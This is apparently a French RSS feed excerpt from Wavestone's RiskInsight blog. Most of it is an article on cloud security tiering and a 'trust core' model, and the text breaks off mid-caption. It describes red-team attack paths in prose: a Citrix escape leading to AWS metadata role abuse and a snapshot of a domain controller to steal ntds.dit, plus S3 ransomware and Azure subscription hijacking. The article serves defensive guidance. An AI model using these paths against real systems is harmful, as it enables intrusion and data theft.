<li><span data-contrast="auto">S’appuyer sur les retours d’expérience des pairs et des secteurs déjà engagés dans la PQC.</span></li>
</ul>
<h6>Le risque quantique est déjà là : chiffrement asymétrique fragilisé, signatures et données exposées.  </h6>
<p><span data-contrast="none">Comme mentionné précédemment, nous partons du constat que Les éléments qui ne sont pas chiffrés aujourd’hui dans l’environnement OT, n’ont pas vocation à être chiffrés demain avec des algorithmes postquantiques, car les mesures existantes assurent déjà un niveau de risque jugé acceptable.</span></p>
<p><span data-contrast="none">Autrement dit, la PQC ne vise pas à transformer l’ensemble de l’OT, mais à protéger les usages </span><b><span data-contrast="none">qui reposent réellement sur des mécanismes cryptographiques exposés au risque quantique</span></b><span data-contrast="none">.</span></p>
<p><b><span data-contrast="none">Pour autant, ce constat ne réduit pas l’importance de la préparation.</span></b></p>
<h6>Les deux priorités restent les suivantes :  </h6>
<ul>
<li><span data-contrast="none">Migrer vos actifs critiques avant 2030 et agir dès aujourd’hui pour protéger la confidentialité des données. </span><span data-ccp-props="{}"> </span></li>
<li><span data-contrast="none">Définir votre périmètre, et bâtir votre plan d’action, et surtout engager une démarche de</span><span data-contrast="none"> migration dès aujourd’hui</span><span data-contrast="none">.</span><span data-ccp-props="{}"> </span></li>
</ul>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/02/la-cryptographie-post-quantique-pour-les-produits-et-lot-de-la-tendance-a-la-realite-industrielle/">La cryptographie post-quantique pour les produits et l’OT : de la tendance à la réalité industrielle</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/02/la-cryptographie-post-quantique-pour-les-produits-et-lot-de-la-tendance-a-la-realite-industrielle/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Sécurité orientée cloud : Adaptation à une nouvelle réalité</title>
		<link>https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/#respond</comments>
		
		<dc:creator><![CDATA[Gautier PLANTE]]></dc:creator>
		<pubDate>Wed, 28 Jan 2026 09:08:21 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[ABAC]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Cloud security]]></category>
		<category><![CDATA[Coeur de confiance]]></category>
		<category><![CDATA[Coeur de confiance Cloud]]></category>
		<category><![CDATA[Cybersécurité]]></category>
		<category><![CDATA[enterprise access model]]></category>
		<category><![CDATA[IAM Cloud]]></category>
		<category><![CDATA[Landing Zone]]></category>
		<category><![CDATA[REX RedTeam]]></category>
		<category><![CDATA[sécurité cloud]]></category>
		<category><![CDATA[Socle de sécurité cloud]]></category>
		<category><![CDATA[Tiering]]></category>
		<category><![CDATA[Trust Core Cloud]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28879</guid>

					<description><![CDATA[<p>Les audits et missions de redteam menés par Wavestone ont mis en évidence un déséquilibre frappant entre la maturité des protections des infrastructures on-premise et celles déployées dans le cloud. Les infrastructures on-premise sont généralement bien identifiées, maîtrisées et protégées...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/">Sécurité orientée cloud : Adaptation à une nouvelle réalité</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Les audits et missions de redteam menés par Wavestone ont mis en évidence un <strong>déséquilibre frappant entre la maturité des protections des infrastructures on-premise et celles déployées dans le cloud</strong>. Les infrastructures on-premise sont généralement bien identifiées, maîtrisées et protégées selon des standards éprouvés, tandis que leurs équivalents cloud restent souvent sous-évalués en termes de risques et par conséquent insuffisamment sécurisés.</p>
<p> </p>
<h2>Le principe de tiering préconisé sur les infrastructures on-premise est-il applicable au cloud ?</h2>
<h3>Évolution du modèle de sécurité</h3>
<p>Dans les environnements on-premise, en particulier <strong>Active Directory</strong>, la sécurité des infrastructures s&rsquo;appuie généralement sur une <strong>segmentation stricte en trois niveaux (T0, T1 et T2)</strong> permettant d’isoler les systèmes d’administration critiques (T0), les serveurs (T1) et les postes utilisateurs (T2) afin de limiter les risques de propagation.</p>
<p>Cette organisation hiérarchique et périmétrique est inhérente au monde AD et ne peut être directement appliquée au cloud pour ces deux principales raisons :</p>
<ul>
<li><strong>Les portails sont centralisés</strong>: une grande diversité d’administrateurs aux droits différents interagit avec la même URL.</li>
<li><strong>La frontière entre les niveaux d’administration est complexifiée</strong>: le principe de permission fine, par rôle (RBAC), par attribut de ressources (ABAC), selon certaines conditions (provenance, risque, conformité, méthode d’authentification…) permet de configurer des accès très précisément, mais complexifie et floute la vision globale des permissions.</li>
</ul>
<p>Afin de proposer une réponse à ce nouveau paradigme, Microsoft a publié son Enterprise Access Model (<span style="color: #333399;"><a style="color: #333399;" href="https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model">décrit ici</a></span>), mettant en évidence 3 principaux plans : le <em>Control Plane</em>, <em>Management Plane</em> et <em>Data Plane</em>.</p>
<p>Ce modèle reprend la <strong>criticité « en cascade »</strong>, mais simplifiant :</p>
<ul>
<li>les 3 tiers en <strong>2 accès : administrateur vs utilisateur</strong><strong> </strong>;</li>
<li>les flux d’administration en accès au portail ;</li>
<li>la criticité des serveurs en les centralisant dans le <em>Data plane.</em></li>
</ul>
<p>Une illustration de l’ancien et du nouveau modèle :</p>
<figure id="attachment_28880" aria-describedby="caption-attachment-28880" style="width: 1669px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28880" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud.png" alt="Du modèle en trois tiers à la complexité du cloud" width="1669" height="818" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud.png 1669w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud-390x191.png 390w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud-768x376.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud-1536x753.png 1536w" sizes="auto, (max-width: 1669px) 100vw, 1669px" /><figcaption id="caption-attachment-28880" class="wp-caption-text"><em>Du modèle en trois tiers à la complexité du cloud</em></figcaption></figure>
<p> </p>
<p>Ce nouveau modèle met particulièrement en valeur 3 éléments :</p>
<ul>
<li>L’<strong>identité</strong> de l’utilisateur : accès privilégié vs accès utilisateur ;</li>
<li>La <strong>donnée</strong> et les services : au détriment des serveurs ;</li>
<li>La <strong>méthode d’accès</strong> aux portails web d’administration.</li>
</ul>
<p>L’inversion des importances entre « serveurs » et « portails web » abstrayant l’Active Directory est un changement radical.</p>
<p>Cependant, très peu (si ce n’est aucune) grande structure en est à ce niveau d’abandon de son SI « legacy », une grande partie sera dans un état transitoire où <strong>ce SI aura été virtualisé sur un Cloud</strong> afin de se séparer de ses datacenters, mais dont les modalités d’administration sont restées les mêmes.</p>
<p>Ces entreprises doivent donc traiter avec un <em>tiering model</em> désuet et un Enterprise Access Model décoléré des risques et besoins de sécurité actuels.</p>
<p>Pour la suite de cet article, nous prendrons comme exemple la société <strong>Tartampion</strong>, qui vient de terminer un programme <strong>Move-to-Cloud de 3 ans sur AWS</strong>. Le bilan est le suivant :</p>
<ul>
<li>Une Landing Zone a été créée, les applications déjà sur AWS y ont été intégrées</li>
<li>Les Data Center ont été fermés</li>
<li>Pris par le manque de temps et de moyens, une majeure partie du SI a été incorporé en lift and shift, incluant des solutions métiers, réseau, bastion et AD.</li>
</ul>
<p> </p>
<h3>Un SI hybride et virtualisé qui pose problème</h3>
<p>Selon l’EAM, les portails Azure et AWS sont affichés au même niveau (le <em>management plane</em>) au rang T1, sans autre forme de distinction. Or ces 2 environnements cloud sont à eux seuls le support de nombreux SI, utilisés par de multiples collaborateurs avec des niveaux de droits et d’impacts très variés.</p>
<p>Pour illustrer les précédents propos, mettons de côté l’aspect <em>Digital Workplace</em> (suite O365) et prenons 3 comptes AWS issus d’une Landing Zone de Tartampion, supportant différents services d’infrastructure :</p>
<figure id="attachment_28882" aria-describedby="caption-attachment-28882" style="width: 1695px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28882" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise.png" alt="Exemple de comptes AWS pour une entreprise" width="1695" height="345" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise.png 1695w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise-437x89.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise-768x156.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise-1536x313.png 1536w" sizes="auto, (max-width: 1695px) 100vw, 1695px" /><figcaption id="caption-attachment-28882" class="wp-caption-text"><em>Exemple de comptes AWS pour une entreprise</em></figcaption></figure>
<p> </p>
<p>En se fiant au référentiel proposé par Microsoft, ces <strong>trois comptes AWS devraient appartenir au Management plane</strong> avec un niveau de sécurité T1. Cependant, en cas de compromission d’un des 3 comptes par un attaquant, les impacts seraient très différents.</p>
<p>Si la Landing Zone est correctement implémentée, la compromission d’un compte de Sandbox n’aurait que très peu d’impact, tandis que celle du Master Account entrainerait celle de tous les comptes et ressources sous-jacentes.</p>
<p>Un exemple de découpage plus adéquat serait le suivant :</p>
<figure id="attachment_28884" aria-describedby="caption-attachment-28884" style="width: 1679px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28884" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model.png" alt="Tiering Model étendu à l’Enterprise Access Model" width="1679" height="674" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model.png 1679w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model-768x308.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model-1536x617.png 1536w" sizes="auto, (max-width: 1679px) 100vw, 1679px" /><figcaption id="caption-attachment-28884" class="wp-caption-text"><em>Tiering Model étendu à l’Enterprise Access Model</em></figcaption></figure>
<p> </p>
<p>L’Enterprise Access Model par Microsoft est un <strong>framework macroscopique</strong> permettant d’initier une base de découpage des services cloud, mais <strong>qui reste à adapter</strong> selon la criticité des SI concernés.</p>
<p>Comment le rendre pertinent ? Pour répondre, il faut comprendre les scénarios d’attaque exploitant les services cloud.</p>
<p> </p>
<h2>Le Cloud vu de l’attaquant</h2>
<h3>5 principes du cloud favorisant les attaques</h3>
<p>Premièrement, les <strong>infrastructures cloud sont par défaut exposées sur Internet</strong>, contrairement aux ressources sensibles d’un SI. Ainsi, un phishing réussi conduit très probablement à un accès sur le Cloud.</p>
<p>Deuxièmement, les entreprises ont aujourd’hui des <strong>organisations hybrides</strong> (on-premise et cloud) :</p>
<ul>
<li>Les <strong>infrastructures cloud sont reliées au reste du SI on-premise</strong> ;</li>
<li>Les <strong>postes de travail</strong> peuvent également être <strong>hybrides</strong> et gérés par un service cloud comme Intune. Les permissions pour utiliser ce service sont gérées dans Entra ID ;</li>
<li>Les identités sont souvent des <strong>comptes synchronisés</strong>, cela concerne également les comptes d’administration.</li>
</ul>
<p>Les organisations hybrides peuvent faciliter les latéralisations entre le cloud et l’on-premise.</p>
<p>Troisièmement, la <strong>gestion des identités est très complexe avec différentes portées</strong>. Par exemple, Entra ID permet de gérer les accès à Azure et M365 aussi bien pour des utilisateurs, que des applications que des comptes de service.</p>
<p>Pour compléter, les notions de cybersécurité liées au Cloud sont encore relativement nouvelles et méconnues pour certaines équipes « legacy », comme le SOC/CERT, le réseau&#8230; Les <strong>ressources cloud les plus sensibles ne sont pas systématiquement identifiées, protégées et surveillées</strong>.</p>
<p>Enfin, même si des mécanismes de détection natifs sont présents, ils ne sont <strong>pas toujours interconnectés avec les SIEM/SOAR</strong>, ce qui ralentit les capacités d’intervention. Une récente opération Purple Team menée sur des infrastructures Azure et AWS a confirmé que les <strong>outils de détection natifs ont une capacité de détection limitée</strong>. Il s’agit d’un <strong>constat retrouvable dans les Red Team puisqu’avec une démarche « OpSec », les outils de détection cloud sont rarement capables d’identifier une attaque en cours</strong>.</p>
<p> </p>
<h3>REX de nos tests d’intrusion &amp; Red Team</h3>
<p>Issus des opérations de Red Team menées récemment, ces chemins d’attaques spécifiques aux environnements cloud sont témoin des impacts et des facilités qu’il est possible d’avoir pour s’élever en privilège jusqu’à obtenir des accès très permissifs :</p>
<figure id="attachment_28886" aria-describedby="caption-attachment-28886" style="width: 1689px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28886" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team.png" alt="Exemples de chemins d’attaques Cloud exploités en Red Team" width="1689" height="761" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team.png 1689w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team-424x191.png 424w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team-768x346.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team-1536x692.png 1536w" sizes="auto, (max-width: 1689px) 100vw, 1689px" /><figcaption id="caption-attachment-28886" class="wp-caption-text"><em>Exemples de chemins d’attaques Cloud exploités en Red Team</em></figcaption></figure>
<p> </p>
<p>Le premier scénario, effectué sur AWS, est décrit ci-dessous, les deux autres ont été analysés dans une série d’articles Risk Insight disponible <span style="color: #333399;"><a style="color: #333399;" href="https://www.riskinsight-wavestone.com/2025/01/enterprise-access-model-1-2-comment-definir-un-control-plane-pour-securiser-ladministration-cloud-et-empecher-une-compromission-a-grande-echelle/">ici</a></span>.</p>
<p> </p>
<p><span style="text-decoration: underline;"><em><strong>Reconnaissance et Accès initial</strong></em></span></p>
<p>Des catégories d’employés sont généralement <strong>ciblées afin de compromettre une personne avec des droits intéressants dans le SI (Développeur, Support, OPS…)</strong>. Un moyen souvent utilisé est d’utiliser du <strong>phishing</strong>. Les mécanismes de <a href="https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/"><span style="color: #333399;">phishing actuel</span></a> sont capables de contourner l’usage de mots de passe complexe et la plupart des méthodes de MFA (Multi-Factor Authentication).</p>
<p> </p>
<p><em><span style="text-decoration: underline;"><strong>Escalade de privilèges et mouvements latéraux</strong></span></em></p>
<p>Dans le premier scénario, un développeur compromis possédait des accès à une ferme Citrix. Les <strong>environnements Citrix ne sont pas simples à durcir complètement </strong>et quelques vulnérabilités d’échappement ont permis à la Red Team d’avoir un accès au serveur sous-jacent.</p>
<p>Les informations récoltées sur la machine ont indiqué que le serveur pouvait être hébergé sur AWS. Cela s’est vérifié en essayant d’<strong>accéder aux métadonnées AWS du serveur </strong>: l’instance avait des droits sur le compte AWS du client. La machine virtuelle du Citrix possédait le rôle « <strong>AmazonEC2FullAccess </strong>» lui permettant des actions de gestion sur les EC2 du même compte AWS.</p>
<p>À l’aide de la CLI AWS, les autres EC2 ont été listées. Un contrôleur de domaine du client était présent dans ce compte AWS. C’est une pratique courante de vouloir regrouper dans un même compte, généralement appelé « Shared Services », les services qui ont pour vocation d’être utilisés par plusieurs projets. Il est néanmoins recommandé de <strong>vérifier que la criticité des services partagés soit homogène de sorte à pouvoir appliquer un durcissement adéquat</strong> sur le compte, ou les séparer en plusieurs environnements.</p>
<p> </p>
<p><em><span style="text-decoration: underline;"><strong>Actions sur les trophées</strong></span></em></p>
<p>À partir du rôle AWS du serveur Citrix, <strong>une sauvegarde instantanée du contrôleur de domaine a été faite puis téléchargée</strong>. Les sauvegardes d’un contrôleur de domaine contiennent tous les fichiers de la machine, y compris les fichiers les plus sensibles, comme la base <em>ntds.dit</em>, qui contient les informations et secrets de tous les utilisateurs du domaine. L’exfiltration de cette base se traduit en la compromission totale du domaine AD concerné.</p>
<p>Ce scénario illustre l&rsquo;un des chemins d’attaques qui ont été exploités lors des opérations de redteam, facilité par le manque de visibilité sur les impacts que peuvent avoir une ressource compromise hébergée sur le cloud.</p>
<p> </p>
<h3>Des impacts plus rapides et plus forts</h3>
<p>Les attaques déjà possibles sur un SI on-premise peuvent être reproduites et même <strong>accélérées grâce aux fonctionnalités du cloud</strong>. Par exemple, le chiffrement de buckets S3 (service de stockage de fichiers) à partir d’une clé KMS (de chiffrement) d’un autre compte AWS imite le chiffrement massif de données, ou l’utilisation de la fonctionnalité « lifecycle » permet une suppression de tous les objets en moins de 24 heures, peu importe la quantité de données.</p>
<p>De nouvelles attaques sont également apparues comme le « <strong>Hijack de souscription</strong> » qui permet de <strong>rattacher un abonnement d’une organisation Azure à une autre</strong> et ainsi de voler toutes les données qu’il contient et empêcher les actions de remédiation. Cette attaque est réalisable en quelques clics depuis l’interface web Azure.</p>
<p> </p>
<h2>Identification et protection du cœur de confiance cloud</h2>
<h3>Identification du Cœur de confiance</h3>
<p><strong>Le cœur de confiance</strong> adopte une approche centrée sur la priorisation des actifs, qui diffère du modèle de tiering ou de l’Enterprise Access Model de Microsoft. Contrairement à ces modèles qui proposent un découpage prédéfini, il n’existe pas de grille universelle : chaque organisation doit identifier elle-même quelles ressources méritent le plus haut niveau de protection. L’idée est d’établir un <strong>cercle restreint de ressources critiques</strong> (qu’elles soient cloud ou on-premise) puis de <strong>déployer des niveaux de protection dégressifs à mesure que l’on s’éloigne de ce cœur</strong><strong>.</strong></p>
<p>L’identification du cœur de confiance repose sur <strong>deux grands critères</strong> :</p>
<ul>
<li><strong>Criticité métier</strong>: ce sont les ressources qui concentrent la valeur et la continuité des activités de l’entreprise. Si elles venaient à être perdues ou compromises, les conséquences seraient immédiates pour le fonctionnement quotidien et financièrement. Un environnement SharePoint contenant la donnée intellectuelle / brevets en est un exemple courant ;</li>
<li><strong>Criticité SI</strong>: il s’agit des ressources qui assurent l’administration du système d’information et qui disposent d’un niveau d’accès élevé. Leur compromission aurait un impact majeur sur l’ensemble du SI et permettrait d’avoir l’impact métier précédemment énoncé. On retrouve ici les contrôleurs de domaine ou encore les services d’IAM Cloud comme Entra ID et AWS Identity Center.</li>
</ul>
<p><em><strong> </strong></em></p>
<p>Cette cartographie n’est jamais totalement tranchée. Pour certains éléments, la posture à adopter reste plus floue, deux exemples l’illustrent bien :</p>
<ul>
<li><strong>L’EDR</strong>: élément de sécurité évident d’un SI, systématiquement déployé tant sur les postes de travail que sur les serveurs cloud <strong>et</strong> on-premise, sa console d’administration est de plus en plus souvent exposée sur internet, et permet d’exécuter des commandes arbitraires sur les équipements qui en sont équipés.</li>
<li><strong>Les chaînes CICD</strong>: un savant, mais complexe agglomérat d’applications s’appelant entre elles, dont l’accès (le gestionnaire de code : GitLab, GitHub…) est offert à l’ensemble des collaborateurs et les droits sur le SI (manipulé par les runners de déploiement) sont bien souvent administrateur de l’ensemble des infrastructures cloud. Sur l’ensemble des <strong>Red Team effectués en 2024 &amp; 2025, 80% ont exploité des vulnérabilités associées</strong> à ses solutions pour progresser dans leur opération, voire obtenir des trophées de compromission par ce biais.</li>
</ul>
<p> </p>
<p>Afin d’identifier le « noyau dur » du cœur de confiance, qu’on appellera <strong>socle de sécurité</strong>, on peut reprendre les préceptes de l’ancien T0 : la compromission d’un de ses éléments entrainerait probablement celles des autres, et par cascade de la majeure partie du SI.</p>
<p>En supposant que vos applications appliquent un correct cloisonnement interutilisateur (l’intégralité de vos sites SharePoint n’est pas accessible par tous, n’est-ce pas ?), les références aux prochaines applications seront à comprendre comme des <strong>accès administrateurs</strong> / super-utilisateurs à ces dernières, et non simple utilisateur.</p>
<p>Voici l’une des représentations possibles pour un cœur de confiance hybride :</p>
<figure id="attachment_28888" aria-describedby="caption-attachment-28888" style="width: 1680px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28888" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance.png" alt="Protéger l’essentiel, votre cœur de confiance" width="1680" height="998" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance.png 1680w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-322x191.png 322w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-768x456.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-1536x912.png 1536w" sizes="auto, (max-width: 1680px) 100vw, 1680px" /><figcaption id="caption-attachment-28888" class="wp-caption-text"><em>Protéger l’essentiel, votre cœur de confiance</em></figcaption></figure>
<p> </p>
<p>Dans cette représentation, il y a côté on-premise :</p>
<ul>
<li><strong>Le T0</strong> avec ses contrôleurs de domaine, l’ADCS, et potentiellement la PKI, le bastion, la console EDR…</li>
<li><strong>Le T1</strong> en intégrant en plus les applications métiers à fort impact.</li>
</ul>
<p>Et côté Cloud, on retrouve :</p>
<ul>
<li>Au cœur le <strong>Control Plane</strong> (AWS Orga &amp; Identity Center, Entra ID) ainsi que les modules de la Landing Zone supportant le <strong>T0</strong> (si une partie du T0 est hébergée dans le Cloud) ;</li>
<li>En s’éloignant, les diverses <strong>consoles d’administration</strong> des suites de bureautique, et de management des infrastructures ou des applications.</li>
</ul>
<p>En établissant ce diagramme, il est important de garder à l’esprit que :</p>
<ul>
<li><strong>L’IT sert au métier</strong> et quand bien même la zone centrale du cœur de confiance est principalement occupée par des briques techniques, il convient d’inscrire ses solutions critiques ;</li>
<li><strong>Les</strong> <strong>chaînes de dépendance</strong> / compromission ont beaucoup d’impact sur les <strong>choix d’architecture</strong>: positionner un AD sur AWS, ou déployer un EDR sur un AD peut soudainement créer de nombreux chemins de compromission et de rebond entre les 2 mondes.</li>
</ul>
<p>Enfin, la construction d’un cœur de confiance ne peut pas se limiter à une logique de classification statique. Elle doit reposer sur <strong>une approche qui évalue la criticité de chaque actif et le risque qu’il introduit</strong> (une entreprise de développement de logiciel ne positionnera surement son Git au même niveau qu’une entreprise de travaux public).</p>
<p> </p>
<h3>Protection du cœur de confiance cloud</h3>
<p>La sécurité du cœur de confiance va reposer sur les deux traditionnels facteurs de risques :</p>
<ul>
<li><strong>Réduire l’impact</strong>: comment empêcher un utilisateur compromis ou malveillant de se connecter aux portails cloud sur un navigateur et de faire des actions sensibles en quelques clics, comme faire une sauvegarde d’un contrôleur de domaine hébergé sur une VM ou supprimer les sauvegardes de données de production ?</li>
<li><strong>Réduire la probabilité </strong>: comment réduire les risques d’accès illégitimes à partir d’un cookie de session volé par phishing, de la compromission d’un poste de travail ou de la réutilisation de mots de passe des utilisateurs ?</li>
</ul>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Protection du socle de sécurité cloud</span></em></strong></p>
<p>Concernant le « socle de sécurité » cloud il est possible de hiérarchiser les environnements par criticité selon cette échelle macroscopique :</p>
<figure id="attachment_28890" aria-describedby="caption-attachment-28890" style="width: 1641px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28890" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud.png" alt="Les principaux niveaux du socle de sécurité cloud" width="1641" height="678" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud.png 1641w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud-437x181.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud-768x317.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud-1536x635.png 1536w" sizes="auto, (max-width: 1641px) 100vw, 1641px" /><figcaption id="caption-attachment-28890" class="wp-caption-text"><em>Les principaux niveaux du socle de sécurité cloud</em></figcaption></figure>
<p> </p>
<p>En fonction des équipes en charge et de la complexité de les inclure dans un niveau de protection particulièrement élevée, certaines organisations font le choix d’exclure des environnements dont la compromission ne permettrait pas une latéralisation dangereuse, telle que ceux de FinOps, de détection, le Digital Workplace…</p>
<p>La sécurisation du socle de sécurité cloud repose sur 2 principaux points :</p>
<ul>
<li>Une <strong>hygiène</strong> impeccable : configuration IAM épurée, respect du moindre privilège, procédure de déploiement, limitation des ressources au strict nécessaire…</li>
<li>Une couche de sécurité passive / active : déploiement de <strong>politiques</strong> (SCP sur AWS, Policy sur Azure) interdisant explicitement certaines actions, ou la manipulation de certaines ressources, et <strong>règles de détection</strong> afin de lever une alerte en cas de modification d’une politique ou l’occurrence d’un de ses évènements protégés ;</li>
</ul>
<p>Ces politiques peuvent efficacement être associées à une <strong>stratégie de tagging</strong> afin d’appliquer, en plus du modèle RBAC (Role Based Access Control) un modèle ABAC (Attribute Based Access Control).</p>
<p>Par exemple il est possible de tagger différentes ressources avec une clé « tiering » et une valeur entre « T0 », « T1 », « T2 » puis de déployer cet ensemble de stratégies :</p>
<ul>
<li>Interdire toute action visant une ressource taguée tiering par une identité dont la valeur de son propre tag tiering n’est pas équivalente ;</li>
<li>Interdire la manipulation de tag tiering, sauf pour un rôle bien précis.</li>
</ul>
<p>Et voilà comment, en quelques tags et 2 SCP, il est possible de répliquer le tiering model de Microsoft (quelques exceptions peuvent subvenir).</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Protections des identités et des accès</span></em></strong></p>
<p>Pour protéger les utilisateurs, 3 thématiques de durcissement peuvent être mises en place :</p>
<ul>
<li><strong>Identité </strong>: avec quel compte l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? Comment les droits sont-ils obtenus ?</li>
<li><strong>MFA</strong> : l’identité est-elle protégée avec une authentification multifactorielle résistante aux attaques de phishing ?</li>
<li><strong>Provenance</strong>: à partir de quelle plateforme l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? La plateforme est-elle managée, et saine ?</li>
</ul>
<p>Plusieurs niveaux de protection sont envisageables afin de protéger les administrateurs cloud :</p>
<figure id="attachment_28892" aria-describedby="caption-attachment-28892" style="width: 1684px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28892" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque.png" alt="Aligner le niveau de protection avec le niveau de risque" width="1684" height="835" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque.png 1684w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque-385x191.png 385w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque-768x381.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque-1536x762.png 1536w" sizes="auto, (max-width: 1684px) 100vw, 1684px" /><figcaption id="caption-attachment-28892" class="wp-caption-text"><em>Aligner le 